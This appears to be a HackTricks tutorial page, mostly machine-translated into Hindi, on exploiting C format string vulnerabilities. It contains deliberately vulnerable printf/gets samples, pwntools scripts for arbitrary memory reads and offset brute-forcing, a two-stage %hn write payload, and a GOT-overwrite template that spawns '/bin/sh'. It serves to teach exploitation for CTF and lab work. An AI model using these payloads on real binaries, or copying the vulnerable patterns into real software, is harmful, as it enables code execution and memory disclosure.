Format Strings

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

C में printf एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को प्रिंट करने के लिए किया जा सकता है। इस फ़ंक्शन की पहली पैरामीटर जो अपेक्षित है, वह है फॉर्मेटर्स के साथ कच्चा टेक्स्टअन्य पैरामीटर जो अपेक्षित हैं, वे हैं मान जो कच्चे टेक्स्ट से फॉर्मेटर्स को बदलने के लिए हैं।

अन्य संवेदनशील फ़ंक्शन हैं sprintf() और fprintf()

संवेदनशीलता तब प्रकट होती है जब हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है। हमलावर एक विशेष इनपुट तैयार करने में सक्षम होगा जो printf फॉर्मेट स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में कोई भी डेटा पढ़ने और लिखने की अनुमति देगा। इस तरह से मनमाना कोड निष्पादित करने में सक्षम होना।

Formatters:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

उदाहरण:

  • कमजोर उदाहरण:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • सामान्य उपयोग:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • गायब तर्कों के साथ:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf कमजोर:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

पॉइंटर्स तक पहुँचना

फॉर्मेट %<n>$x, जहाँ n एक संख्या है, printf को स्टैक से n पैरामीटर चुनने के लिए संकेत करने की अनुमति देता है। इसलिए यदि आप printf का उपयोग करके स्टैक से 4वां पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं:

c
printf("%x %x %x %x")

और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं।

या आप कर सकते हैं:

c
printf("%4$x")

और सीधे चौथे को पढ़ें।

ध्यान दें कि हमलावर printf पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि उसका इनपुट printf के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है।

caution

एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह स्टैक में मनमाने पते जोड़ने में सक्षम होगा और printf को उन्हें एक्सेस करने के लिए मजबूर कर सकता है। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा।

मनमाना पढ़ना

फॉर्मेटर %n$s का उपयोग करना संभव है ताकि printf n स्थिति में स्थित पते को प्राप्त कर सके, इसके बाद और इसे एक स्ट्रिंग के रूप में प्रिंट कर सके (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता 0x8048000 है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी।

ऑफसेट खोजें

अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (0x41414141) भेज सकते हैं उसके बाद %1$x और मान बढ़ाएं जब तक कि A's प्राप्त न हो जाएं।

ब्रूट फोर्स printf ऑफसेट
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

कितनी उपयोगी

मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है:

  • बाइनरी को मेमोरी से डंप करना
  • संवेदनशील जानकारी संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक पहुँच प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस CTF चुनौती में)

मनमाना लिखना

फॉर्मेटर %<num>$n लिखता है लिखे गए बाइट्स की संख्या को संकेतित पते में <num> पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह %<num>$n को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा।

भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसलिए ऐसा करने के लिए फॉर्मेटर %.<num-write>%<num>$n का उपयोग करके संख्या <num-write> को num स्थिति द्वारा इंगित पते में लिखा जा सकता है।

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे 0x08049724 (जो एक बार में लिखने के लिए एक HUGE संख्या है) लिखने के लिए, $hn का उपयोग किया जाता है बजाय $n के। यह केवल 2 Bytes लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए।

इसलिए, यह भेद्यता किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।

इस उदाहरण में, लक्ष्य यह होगा कि एक फ़ंक्शन के पते को ओवरराइट किया जाए जो बाद में GOT तालिका में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है:

Write What Where 2 Exec

हम एक फ़ंक्शन को ओवरराइट करने जा रहे हैं जो उपयोगकर्ता से अपने आर्गुमेंट्स को प्राप्त करता है और इसे system फ़ंक्शन की ओर इशारा करता है।
जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप पहले 2Bytes का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए $hn का उपयोग किया जाता है।

  • HOB को पते के 2 उच्चतम बाइट्स के लिए कॉल किया जाता है
  • LOB को पते के 2 निम्नतम बाइट्स के लिए कॉल किया जाता है

फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको पहले सबसे छोटे [HOB, LOB] को लिखना होगा और फिर दूसरे को।

यदि HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

यदि HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

आप इस प्रकार की कमजोरियों के लिए एक टेम्पलेट तैयार करने के लिए पा सकते हैं:

Format Strings Template

या इस बुनियादी उदाहरण को यहां से:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

फ़ॉर्मेट स्ट्रिंग्स से BOF

एक फ़ॉर्मेट स्ट्रिंग भेद्यता की लिखने की क्रियाओं का दुरुपयोग करके स्टैक के पते में लिखना और बफर ओवरफ्लो प्रकार की भेद्यता का शोषण करना संभव है।

अन्य उदाहरण और संदर्भ

  • https://ir0nstone.gitbook.io/notes/types/stack/format-string
  • https://www.youtube.com/watch?v=t1LH9D5cuK4
  • https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
  • https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
  • 32 बिट, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, स्टैक से ध्वज लीक करने के लिए फ़ॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं)
  • https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
  • 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग fflush के पते को जीतने के कार्य के साथ ओवरराइट करने के लिए (ret2win)
  • https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
  • 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग .fini_array में मुख्य के अंदर एक पते को लिखने के लिए (ताकि प्रवाह एक और बार लूप हो) और GOT तालिका में system के पते को strlen की ओर इंगित करने के लिए लिखें। जब प्रवाह मुख्य में वापस जाता है, तो strlen उपयोगकर्ता इनपुट के साथ निष्पादित होता है और system की ओर इंगित करता है, यह पास किए गए आदेशों को निष्पादित करेगा।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें